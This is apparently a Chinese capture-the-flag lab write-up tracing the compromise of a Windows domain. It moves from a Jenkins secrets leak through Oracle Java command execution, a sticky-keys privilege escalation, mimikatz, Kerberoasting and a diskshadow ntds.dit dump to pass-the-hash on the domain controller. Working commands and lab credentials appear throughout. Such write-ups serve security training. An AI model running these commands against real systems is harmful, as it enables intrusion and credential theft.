涉及知识点:
jenkins敏感信息泄露
oracle命令执行
SeRestorePrivilege权限替换文件
diskshadow卷影副本转储ntds.dit
先用rustscan扫描一下端口
1 | rustscan -a 39.99.130.246 -r 1-65535 |
不知道为什么,rustscan扫了一些无关的端口出来,这里主要关注的就是80
,3306
,8080
,3389
可以知道,这个是windows服务器
80端口是XR SHOP,8080是Jenkins服务
XR SHOP是用wordpress搭建的,先尝试有没有弱口令
爆了3000个密码,没报出来
然后用dirsearch扫目录,发现了备份文件
下载下来直接开审,有一个任意文件读取的地方
1 |
|
利用路径为
1 | http://39.99.130.246/tools/content-log.php?logfile=C:\Windows\System32\drivers\etc\hosts |
权限比较高,可以直接读系统文件
然后根据提示,jenkis目录为C:\ProgramData\Jenkins\.jenkins
在C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword
读取初始管理员密码
然后利用admin/510235cf43f14e83b88a9f144199655b
登录,进入jenkins后台
然后在执行脚本的地方可以执行系统命令
1 | println 'whoami'.execute().text |
可以看到是system权限,而且他开了3389端口,所以直接添加rdp用户。
1 | println 'net user v2i 123456@qwe /add'.execute().text |
然后利用v2i/123456@qwe
登录远程桌面,我是用的remmina
这个软件
获得flag01: flag{4088d1e2-1c65-420a-802e-62904c789273}
然后返回jenkins上
在http://39.99.130.246:8080/manage/configure
得到gitlab地址
然后去找他的api token,下面的这个唯一标识只是他api token的id
在C:\ProgramData\Jenkins\.jenkins\credentials.xml
找到api token:{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}
因为这个插件里的凭据都是加了密的,需要在jenkins里解密(md,问了chatgpt半天才肯告诉我)
然后。这里应该是在内网上面的gitlab服务
先配置一下内网隧道
这里使用frp来搭建内网隧道
服务端:frps.toml
1 | [common] |
1 | ./frps -c frps1.toml |
客户端:frpc.toml
1 | [common] |
1 | frpc.exe -c frpc1.toml |
先看看他gitlab的域名的ip是多少
查看他的hosts文件,可以得知其ip为172.22.14.16
然后配置一下proxifier代理
列出gitlab里的项目列表
1 | curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects" > 1.txt |
找到几个看起来比较敏感的仓库
使用命令
1 | git clone http://admin:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git |
将他们拉取下来
在xradmin里找打数据库账户密码:xradmin/fcMyE8t9E4XdsKf
用navicat连接,但是会报错
根据下面的文章进行解决
Oracle ORA-28547:connection to server failed,probable Oracle Net admin error问题解决
连接的时候要选择角色为DBA
查看当前用户是否为DBA
查看oracle数据库版本
创建java source:
1 | declare sql_command varchar2(32767); |
创建函数:
1 | create or replace function exec(cmd varchar2) return varchar2 as language java name 'Command.exec(java.lang.String) return java.lang.String'; |
赋予需要的三个java权限:
当前用户为DBA时,通常只需要为该用户赋予第一个执行权限即可,实际情况中具体需要哪一个可以直接执行函数来看报错提示
1 | begin dbms_java.grant_permission( 'XRADMIN', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete');end; |
执行命令:
1 | select exec('whoami') from dual; |
然后添加个用户,通过rdp登录
1 | select exec('net user v2i 123456@qwe /add') from dual; |
当然也可以直接通过命令看,我这里是先入为主了,之前没有查看当前端口是否打开
得到flag02: flag{840b4d80-ba9f-4c63-8268-3a15b953d257}
再回到原来那个主机,上传fscan,扫描一下内网
得到以下结果
1 | / _ \ ___ ___ _ __ __ _ ___| | __ |
梳理如下
1 | 172.22.14.11 域控 XIAORANG\XR-DC |
再回看之前拉取下来的仓库,里面有个credentials.txt
而从fscan扫出来的结果里,有一个主机名为XR-0923
1 | XR-0923 | zhangshuai | wSbEajHzZs |
然后看看他的rdp开没开
1 | proxychains4 -q rustscan -a 172.22.14.46 -p 3389 |
发现打开了,然后直接rdp登录
查看特权发现没有可利用的点
然后还发现当前用户属于Remote Management Users 组,所以可以尝试evil-winrm连接
用evil-winrm连接后,特权就多了两个,为啥呢?
1 | proxychains4 -q evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs |
1 | *Evil-WinRM* PS C:\Users\zhangshuai\Documents> whoami /priv |
有了SeRestorePrivilege权限,用户可以写入系统中的任何文件,忽略任何 DACL
这样就可以通过替换文件的方式得到system权限的shell
替换粘滞键的二进制文件
1 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" |
但是会报错
直接将cmd.exe文件名替换为sethc.exe
1 | cd C:\Windows\SYstem32 |
然后锁定用户,再按5次“shift”调出粘滞键即可提权
把当前用户添加到管理员组
1 | net localgroup administrators zhangshuai /add |
注销再重登一下,拿到flag03: flag{80acb8c8-6335-4b4d-8b1d-f88cfe71edac}
因为当前主机是在域内的,但zhangshuai
这个账户不是域内用户,所以还得到锁屏解密,用粘滞键调出system
权限的shell,来进行域内的攻击
先上传sharphound进行域内信息收集
1 | SharpHound.exe --CollectionMethods All --Domain xiaorang.lab |
然后再拉到本地,使用Bloodhound进行分析
可以看到TIANJING
用户属于备份管理操作员组
而且从之前获取到的信息可以知道,这个机器是在域内的,但是没有账户在域内,所以只有可能是机器账户是属于域内的。从机器账户入手,去域内横向移动
先用mimikatz抓取一下本地的密码,要用管理员打开cmd,还有记得cmd是换了名字的
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
1 | Authentication Id : 0 ; 64555 (00000000:0000fc2b) |
抓到了机器账户XR-0923$
的hash
而我们现在需要拿到TIANJING
用户的凭据,才能进行后续操作。可以知道的是,任何域内账户都是可以请求SPN,来获得一个由服务Hash加密的ST。如果该hash可爆破,那么就可以获得服务的凭据,也就是那个服务对应域内用户的凭据
先枚举一下域内的SPN
我这里使用RiskySPN
RiskySPNs 是一组 PowerShell 脚本,专注于检测和滥用与 SPN(服务主体名称)关联的帐户。该模块可以帮助蓝队识别有潜在风险的 SPN,并帮助红队利用 Kerberos 和 Active Directory 提升权限
可以用来查找当前域内注册在用户下的可能包含弱密码的SPN
1 | Import-Module .\RiskySPNs.psm1 |
得用system权限执行,所以还得用粘滞键调出来
恰好就是TIANJING
加密方式为RC4-HMAC
,该加密算法容易被破解
tianjing
账户下的TERSERV服务和Web服务通过这个xr-0923$
都是可以访问的
利用xr-0923$
的凭据去请求SPN来获得ST,并用hashcat爆破
使用impacket里的GetUserSPNs.py
hashes为xiaorang.lab/xr-0923$
用户的hash
1 | proxychains4 -q python3 GetUserSPNs.py -request -hashes :6be6cedce29e67933fe69b073b27ba7f "xiaorang.lab/xr-0923$" -outputfile hash.txt -request-user tianjing -dc-ip 172.22.14.11 |
然后用hashcat爆破用tianjing的凭据加密的ST
1 | hashcat -m 13100 hash.txt rockyou.txt |
得到tianjing用户的凭据:DPQSXSXgh2
再看一下tianjing用户的域信息,可以知道在remote management Use组,可以直接用evil-winrm连接
同时tianjing用户对dc域控主机有psremote权限,所以可以直接在dc主机上登录tianjing用户
1 | proxychains4 -q evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 |
有很多种通过卷影副本的方式转储ntds.dit,这里使用diskshadow
将以下命令写进文件里
1 | set context persistent nowriters |
然后使用命令unix2dos 2.txt
转换一下格式,否则执行不了
在C盘根目录创建一个temp文件夹,将2.txt上传上去
1 | *Evil-WinRM* PS C:\temp> upload 2.txt |
用diskshadow执行2.txt里的命令
1 | *Evil-WinRM* PS C:\temp> diskshadow /s 2.txt |
将根目录的ntds.dit下载下来
1 | *Evil-WinRM* PS C:\temp> download C:\temp\ntds.dit ntds.dit |
还需要将system转储,下载下来
1 | *Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM system |
下载的时候会比较慢
使用impacket-secretsdump
进行解密
1 | impacket-secretsdump -ntds ntds.dit -system system LOCAL |
得到域管理员nthash:70c39b547b7d8adec35ad7c09fb1d277
evil-winrm连接,得到flag04:flag{d686e2c5-da80-4f87-b3cd-ff5c357c1f8d}
1 | proxychains4 -q evil-winrm -i 172.22.14.11 -u administrator -H 70c39b547b7d8adec35ad7c09fb1d277 |